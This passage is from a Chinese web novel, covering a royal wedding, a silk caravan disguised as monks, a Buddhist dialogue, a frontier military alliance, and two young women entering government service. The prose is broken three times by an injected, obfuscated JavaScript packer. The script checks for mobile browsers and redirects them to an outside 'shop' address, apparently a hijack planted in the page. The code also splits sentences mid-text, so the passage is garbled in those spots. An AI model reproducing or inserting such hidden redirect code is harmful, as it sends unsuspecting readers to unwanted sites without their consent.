这个婚嫁前半月就开始准备，种种细节不能一一详述，就说中秋这天吧。这天早上，国王的王后刘氏，带着一群侍女给道妙如化了新娘妆，盘了新娘头，穿上华丽的丝绸锦锻，待在闺房，等盛家从国塌殿出来接人。国塌殿就建在妙理城的入城门的那里，绕过几乎所有的妙理城的主干道，才能到达王殿的门外。 盛有亮骑着马，绑着红花，后面四匹马拉着一个装饰的非常华丽的宝车。唢呐锣鼓的声音，响天振地，此起彼伏。队伍每到一个巷子，巷子里挤满了人，也有拦路讨彩头，要糖的小孩子，随行的工作人员，就会把糖果洒在了地上，很多孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156662|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子就去抢了。队伍大概走了一个多小时，就到了王殿门口。 队伍到王殿门口以后，有妙赞国接恰的人，是太子道国元，会带着盛有亮来到王殿正殿，队伍和马车留在门口。他们来到正殿，盛有亮跪拜道：“拙婿拜见王上”。然后又对着坐在侧面的冯玄真和龚映兰夫妻说道：“拙婿参见岳父岳母”。然后他就要给国王，冯玄真和龚映兰，太子，大臣，一一敬酒。敬完酒以后，这一众人陪着盛有亮就来到了后宫门口，等待道妙如被送出来，龚映兰进去通信迎接人了。 龚映兰还没走到内屋了，只听见一个丫鬟喊道：“来了，来了，姨娘来了”。道妙如一听，她顿时哭的不能自持。当龚映兰走进内室时，她已经是个泪认了。龚映兰作揖道：“见过王后”。然后抱住了道妙如，也哭了起来。然后冯妙元，方祖蕊，龚灵娟，道国薇，还有一众公主夫人等，也哽咽了起来。哭完以后，龚映兰给道妙如盖上盖头，参扶着道妙如走出了屋子，一众人也跟在后面。龚映兰说道：“如儿，上宝花车的时候就不要哭了”。道妙如说道：“知道了，阿母”。她们很快就来到了后宫殿门口。 盛有亮看见她们来了，他赶忙迎上前，接过道妙如的手，参扶着向宫殿外的花车走去。他们来到马车旁边，盛有亮跪在马车旁边，示意道妙如踩着他上宝花车。一般风俗都是扶着新娘上车，盛有亮这一动作，感动了在场所有的人。他和他三叔一样，是一个道的伟大践行者，圣人居柔不居强，处下不处上。 道妙如坐进花车以后，盛有亮起身给道守平作揖说道：“三叔，你们辛苦了，为了我们的事，你们操心了一个多月”。道守平说道：“贤侄不要过谦，也不要客气，你很有三叔当年来妙赞国的风范，盛蚕国现在有你，真是百姓之福啊”。 盛有亮说道：“我们是叔侄国，也是一个国家了，我回去就派人过来研究统一文字和钱币的事宜”。道守平说道：“太子做事条理清晰，合道大国而处下。真是令人钦佩，我也会派人过去商议关于建立共和联军的事议”。 盛有亮说道：“那是自然，我会配合的，只是钱币的统一有利于蚕盛国的丝绸也通往西域，听说三叔已经派出了一支三百人的队伍在打通商道，在他们回来之前，我希望我们把这事能彻底完成”。道守平说道：“商道没有强悍的军队是维护不住的，我们这两件事需要齐头并进才行啊”。盛有亮说道：“三叔说的是，那是自然之理”。 他们聊完以后，盛有亮骑上了马，让妹妹冯妙元和方祖蕊坐进宝花车陪姐姐。然后带着迎亲的队伍浩浩荡荡就上路了，后面送亲的马车也是一眼看不到尾……。 41. 商队经过掖展城，两国共建联合军 经过半年的长途跋涉，他们因遭遇了一股游人小部队，队伍损失成了30人，马也因为干粮和水不够，没办法也杀着吃了，现在只剩下了50多匹马。就这样，他们艰难的来到了游人的核心区域。 游人的核心区域，这里处在大漠的边缘，有个城叫掖展城。掖展城就在西边大塬雪地的边缘的带状土川当中。城的西边就是大塬雪地边缘的高山，叫昆道山，南北走向，绵延两千公里。就在这两千公里山下的土川里，点缀着大大小小十多个城市。掖展城还是比较大的一个，靠着昆道山的融雪水生活，水资源比较紧缺。所以，城市与城市间的距离都是离的比较远的，路人到了一座城，就要长备干粮和水再进行赶路。 话说金有妙他们一行人来到这里，长年的风沙吹个不停，吹的路人眼睛都挣不开。他们裹着头巾，艰难的来到了这座城旁边的一个土凹凹里。冯炳德对手下刘志飞说道：“志飞，晚上你和金有妙先进城去，拿上我们的几件添丝衣服，然后去衣服店里，换三十件他们的衣服。我们是添丝的衣服，他们很愿意换的，如果不愿意可以添一点丝线给他们”。 到了晚上，刘志飞和金有妙贿赂守门的官兵没有太多盘问，就进入了掖展城。进入城以后，他们来到一家兽衣店，用添丝衣换了三十件兽衣，这里丝线一捆就可以换十头牛，店主一看是添丝的麻布衣，高兴的乐不合嘴，嘴里念叨着“这会发大才了”，他叫般屠巴多。以后成了这条商道最了不起的中专商人。 刘志飞给般屠巴多说道：“如果你告发了我们，这里的城主，不但会收走你的丝衣，还会因为你私通南人而杀了你。如果你不告发我们，你把丝衣偷偷卖给专门走西域的商人，你一家一生不用愁了，而且我们以后会把转运丝衣的商活交给你，轻重你要明白”。般屠多巴说道：“这个我自然掂的明，你们尽管放心”。 金有妙对般屠多巴说道：“你给我们介绍一个骆驼比较多的商队，还会有你的好处”。般屠多巴说道：“你们得守在这里，说不准他那天来我这里拿货，我就介绍你们认识”。金有妙说道：“好的，事成以后，再给你几件添丝麻衣，够你抽一捆丝线了”。般屠多巴一听，脸微有惊色，好像自己贪婪的一捆丝线就在他眼前似的。 他们抱着兽衣来到土凹凹这里，刘志飞说道：“你为什么给他许诺这么厚重，抽一捆丝大概10件麻衣，都已经给他5件了”。冯炳德一听，说道：“有妙兄弟就是心细，厚赏之下才有忠诚和用心，他抽一捆丝线就相当于十头牛呢，他怎么会不用心呢”。 冯炳德吩咐大家换上兽人，把骆驼和马藏在了昆道山脚下处，一个水草丰富的拐角窝窝里，吩咐几个人看守，也吩咐两个人给他们每天送饭，然后剩下的人就进了城。他们不敢住客栈，就在几户牧人家庭中住了下来。有一户人家虽然贫穷了些，但他们每天精心做饭，很是善良，他家有个姑娘叫舍勒，生的也是耐看的很，对冯炳章尤其是用心。冯炳德吩咐冯炳章和金有妙每天去般屠巴多那里蹲守。 真的不负他们厚望，般屠多巴不过几天就给他们介绍了一个人，这个人叫巴图。 巴图说道：“你们要逃过这里士兵的眼睛，加入我们商队当然可以，我们是有通行证的，不过你们得化妆成和尚，说是南边来往西天拜佛求法的和尚，搭伙同行，毕竟你们和我们长相有差别”。金有妙说道：“这个当然没问题”。 他又说道：事成以后，你把你们货的代理权给我，我们只要丝绸的代理权，丝麻衣和丝线我们不做。金有妙犹豫了一下，巴图继续说道：“大货是不相信我们的实力吗？”。这里人把有丝绸的人叫做大货。金有妙说道：“不是这个意思，只怕我们的种植也有周期，货源不足”。巴图说道：“价格不是问题，只要你只供我一家，多少价格都行，平时你们那里来的人，我都可以打掩护让你们到西域”。金有妙一听就同意了。 金有妙问道：“这和尚是什么样的人呢？”。巴图说道：“或许你们国家也有关于佛法的传说，只是不流行，知道的人少一些而已，这里的人们都信佛法，拜求观世音菩萨，观世音菩萨是佛陀的弟子”。信奉佛陀教法的人们就叫做和尚，我们这座城里就有观音寺院。你们去哪里剃度吧。 金有妙听到观世音菩萨这个名字，立马就记起了母亲病的时候，外公让母亲天天念的那个名，他至今还会念：“吽！嘛咪叭咪吽”。从此，这六字真言保佑着他艰难的走在这条路上，就如同它当年保佑着母亲的病好起来一样。商量好了，大家就都去观音寺院剃度去了。 话说妙赞国和蚕盛国结盟以后，道守平派道海棠带着道国昌去商量建立联合军队的事情。盛雄为他们举行了国宴，有蚕盛国的丞相海青，太子盛有亮以及道妙如，蚕盛国大将军白海龙等。 盛雄问道海棠说道：“瑞王有什么好的建议建立联合军呢？”。道海堂说道：“我国两国北面是游人，长期劫掠，不与我们夏人一样，不讲恩义。这和我们南边的汉川国，云梦国，象成国以及东边的黑水国，盐盛国是不一样的。针对诸夏国的威胁，我们两国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156663|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各自应对，我们就针对背面建立联合军，我的建议是建立北疆七军镇”。 盛雄说道：“请瑞王详细说说，愿闻其详”。道海棠说道：“我们先建立一个联合军政府，它不由我们王上指令，也不由王上你指令。我们把我们的北地边疆画出一块带装长条区域，分成七块，由军政府平时管理，开垦，收租这七镇的地方。征兵也从这七镇来征，平时耕，战时兵。我们两国百姓人家直接举家搬迁填补军镇就可以了，战事一起，就把家属全部再迁回内地”。 盛雄说道：“军人自然是懂的打仗的，这也避免了不懂的国王的瞎指挥，可是没有节制，这军政府叛变了怎么办呢？”。道海棠说道：“战事一起，他们的家属都在内地，再说了这都是内地百姓，他们没有听从长官叛变的道理了。长官就是想叛变他也调不动人心，这是自取灭亡，他不会不懂这个道理的。这个方法也是你三叔想出来的”。 盛雄一听，说道：“我三叔真乃道家真人，他把道无为而为的精髓用在了这兵家。养，动，奇，变都能自由转换，没有多余的人掣肘，打仗能随机应变，真是妙，只是这军政府的大将军怎么选了？。 道海棠说道：“我国三镇由你国担任镇守，你国三镇由我国担任镇守，中间一镇就是总镇军政府，镇首总长由六镇选举产生，这样就公平且安全了”。 盛雄继续说道：“那军政府打下来的土地怎么分了？”。道海棠说道：“太边缘的地区继续编入军镇，适合开发的地区你我商议来定，这是后话，我想我们的智慧都能解决”。 盛雄一听，当即就同意了，他派往妙赞国三镇的镇长是：蚕盛国大将军白海龙的老大白展堂，今年25岁。蚕盛国边关总长的老二侯耀虎，今年28岁。蚕盛国北地王的老大，盛有海，今年25岁。妙赞国派的是道国昌，今年22岁，吴宽勇，今年23岁，李承乾，今年25岁。 在他们商定以后的日子里，妙赞国设立了西凉镇，望沙镇，陕原镇。陕原镇离妙理城最近，白展堂就在这里任镇长。中间刚好是夏河北绕流过这里，所以被称为夏套镇，也由白展堂镇守。蚕盛国设立的三镇是同顺镇，临草镇，燕廊镇，同顺镇离蚕盛国都盛宏城最近，道国昌就在这里任镇长。白展堂被选为总长，士兵都叫他白总。 军镇设立以后，比较穷苦的人家都争先恐后的报名。短短半年的时间，搬入军镇近200万人，金有辉也从茯苓镇搬入夏套镇。青壮战士也得40万人，五倍于敌人。游人驻扎在南地边缘的军队，最多8万人。 42. 有妙寺中遇悟贤，妙元问政进大城 金有妙他们来到观音寺，施舍了香火钱，寺里的悟贤大师为他们做了剃头。完事以后，悟贤大师对着金有妙说道：“施主虽然是为了能顺利过关，这样做了剃度，我看施主的佛性智光外露，是妙悟我佛如来的上根性人”。 金有妙问道：“什么是佛性以及智光？”。悟贤大师说道：“人的身体之所以能够正常生活工作，那一定就有一个东西它在起作用，并不是我们的身体以及眼耳鼻舌身意在起作用。如果真是六根独立起作的话，那就没办法配合了，我们也就不能正常工作生活了。这个东西就是佛性了。我们是因为有了光，才明了了世间万物的差别，而实际上这种差别来源于我们佛性的觉明之性，并非来源于光，这种觉明之性就是智慧的光”。 金有妙回道：“谢谢大师的指点，那什么才算妙悟呢？何为如来？”。悟贤说道：“如来者，是表达生命万物的真相，如就是本自就在的意思，来的意思是说佛性此种觉明的性光当用当来，成就万物，是一切存在的真理实相，也就把此佛性称做了如来。明了如来的过程，就是妙悟了。” 金有妙问道：“大概意思我理解就是这样，世间万物生命就是如，本自就在，不是从那里来，也不会到那里去，觉明的性光常在而现种种差别对吗？”。悟贤大师回道：“是的”。 金有妙又问道：“那我自己也是妙如佛性觉明性然，并非是我自己，是我把此如理当成了我的道理，而与世界别人对立分别，是这样吗？”。悟贤大师说道：“就是这个理，此如理就是当下即归，然世人的道理是迷幻执妄，而成心苦。就比如说这甜的味觉，离开了糖，甜也就没有了，但如本妙体的觉明佛性还在，它并非是甜，众生不悟此如来真相，迷甜执取而成心苦”。 金有妙问道：“即说心苦的话，因为我苦过，我自然是明白的，比如我会憎恨，抱怨，恐惧，贪爱，失落，执想等等。即说这一切都是觉明性然，如理没有这一切，那心从何而立，而导致人们苦的呢？又是谁把此如理自在的觉明之性分辨成了一切有而妄说‘我有’的呢？”。 悟贤大师说道：“施主这个问题问的非常好，这都是自己不明白如来真相的原因。因不明白真相，就把此真相妄立了处所，起名为‘心’，然后把觉明性然，妄说‘心有’。如理的即归与众生的贪求对抗，此妄立的心就有了感的觉明，就是苦。这和眼睛的觉明有色，耳朵的觉明有声等，并无差别。这眼睛，耳朵，和这心都是不明白真相的妄立。进而身体也是妄立的坚固相，与这虚幻的识心并无差别。如本觉明妙性，当体即归。所以，苦，色，声，身等实实不有啊，对抗就意味这苦难啊”。 金有妙听的入神，大师停下了声音，金有妙猛然醒来，回到了现实，说道：“听大师一言，我茅塞顿开，如醍醐灌顶，不知道商队什么时候出发，若还能有缘，我愿意聆听大师的教诲”。 悟贤说道：“这里的头领叫图赞耶，是首领图列巴的四弟，他素来与首领图列巴不合，他主张广普佛法，来教化民众，对佛法很宽容，你们打扮成这样，不会有事的。而他哥哥图列巴，滥行杀欲，广行劫掠，与南冲突。所以，佛法并非在草原普及，只在这昆道山下兴盛。你们沿着这条狭窄的山下土川渐行，有大大小小的城邦都有佛寺，施主你们现在是和尚打扮，就可以住寺院歇脚，你可以随时问那里的师傅们了。” 金有妙说道：“谢谢大师指点，只是我觉得大师精通佛法如理，故生贪求的心了。我明白大师说的随缘听法，要随缘依理渐参，而不依人抓取”。 悟贤说道：“施主真乃上器之主，施主切记，初心不改，方得始终啊”。金有妙回道：“弟子听取教诲，感谢大师”。 他们一行人在寺院做完剃头，巴图开始安排启程的事，他吩咐手下把金有妙他们的马和骆驼带到城外面等待。他自己带了几骆驼的麻布粗衣，兽皮，装好了干粮和水。舍勒送给冯炳章一个兽皮水袋，也是装满了水。然后他们就与城外汇合上路了……。 冯妙元和方祖蕊，在学堂每天除了学习蚕桑道学以外，就没有其他事了。现在她们俩变成了大孩子，以前和他们玩的大孩子们，都脱离学堂干自己的事去了，想起来不觉有点失落无聊。方祖蕊问冯妙元道：“我们俩今年17岁了，虚岁也18了，应该可以干事了吧。让爷爷给我俩推荐个事做吧，妙元姐你去给他说”。 冯妙元说道：“你是他的亲孙子，你为啥不说，让我一个外孙说呢？”。方祖蕊说道：“就因为我是亲孙，他舍不得我走，能起什么效果，所以要你去说嘛”。冯妙元说道：“那要这样说的话，他答应了我也不能答应你啊？”。方祖蕊说道：“他知道我和你形影不离，他怎么忍心让你孤单呢。上次有妙哥走的时候，当着那么多人面，你哭成那样，爷爷他心里自然也是难过的，他不会让你一个人的。所以，我敢肯定的说，他会答应”。冯妙元说道：“那好吧，我去试试”。 他们俩来到白云观，看见方喜云在喝茶看书。方喜云看见她俩进来，就说道：“你们两个娃不上学来这里干嘛？”。冯妙元说道：“舅爷也是最知道的，学堂这些娃娃们中啊，属我最认真喽”。方喜云说道：“就你最认真，那你来这里干嘛呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156664|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”。冯妙元说道：“舅爷，我都十八了，你看我能干点啥？或者说，你看蕊儿表妹能干点啥呢？”。 方喜云一听就知道她俩的来意了，说道：“虽说咋们国家虚岁满十八就可以任职，我看你俩还需要再长一长喽”。方祖蕊一听这话，深情略有急色，打算说什么，冯妙元赶紧捏了下她的大腿，说道：“窝里的鸟永远不会飞，呵护的树苗禁不起风雨。舅爷是道学楷模，我知道舅爷自然是懂这个道理的，只是舍不得而已，这舍不得，就要违背道，而让事情走向坏的一面哦。”。 方喜云一听，知道是让她俩出去的时候了，说道：“元儿去帮你二哥做副手吧，这也是顶替你姐的位置，你姐嫁走以后，这个位置一直空着，王上也催了我几次，这刚好了。我知道你们俩要在一起，你们俩都去问政团吧，蕊儿就去做个团员历练一下。我现在就写荐书，能不能批准还要看你二哥的。因为王上肯定会咨询你二哥，你们俩的情况是否属实。你们俩也不用去问了，我想你二哥不会阻拦的，因为我属实禀报，他没有阻拦的道理”。 就这样，不出一个月，任命的通知书下来了，冯妙元任问政团的副团，方祖蕊协助冯妙元的工作，常住妙理城办事。接恰，整理，分析冯炳仁提交的社会咨询，政治见闻，违法乱纪等案宗。定期提交政治，蚕桑，盐铁，道学，农耕，吏治的学术报告。冯妙元一听，心想：“就这么个小官，任务量还蛮大”。实际上她这个位置，她提交的东西，决定着鹿泉县好多人的祸福吉凶，并不是小官。 妙理城的问政大院，有各个县的问政驻员，有宿舍，有食堂，有健身练武房等等。冯妙元和方祖蕊住一个套间屋，房子很大，布置齐全。方祖蕊一进屋，行李一扔就想睡觉。四肢朝天的躺床上说道：“终于没人管的可以玩喽，我真是太开心了”。冯妙元说道：“你想的美，工作量预计比我想象的要大”。方祖蕊说道：“有妙元姐你，啥事都搞定”。冯妙元：“揪了揪她的脸蛋，说道：“你想的美啊，要你干嘛呢”。 她们收拾完房间，衣物，行李，就出去妙理城去逛了。方祖蕊说道：“你去叫道国元一起逛，他熟路”。冯妙元说道：“你咋不去叫呢？”。方祖蕊说道：“你叫不叫？你不叫我掐死你”。说着朝冯妙元嘎吱窝挠了过去。冯妙元笑的前俯后仰，说道：“好啦好啦！我叫！我叫！还不行嘛”。他们打听着来到道国元家门口，道国元知道是叫个冯妙元的人来找他，立马迎了出来，叫她们进去。冯妙元说明来意，道国元说道：“那改天我家做客，今天带你俩去玩”。就这样，他们三个逛了一整天的妙理城。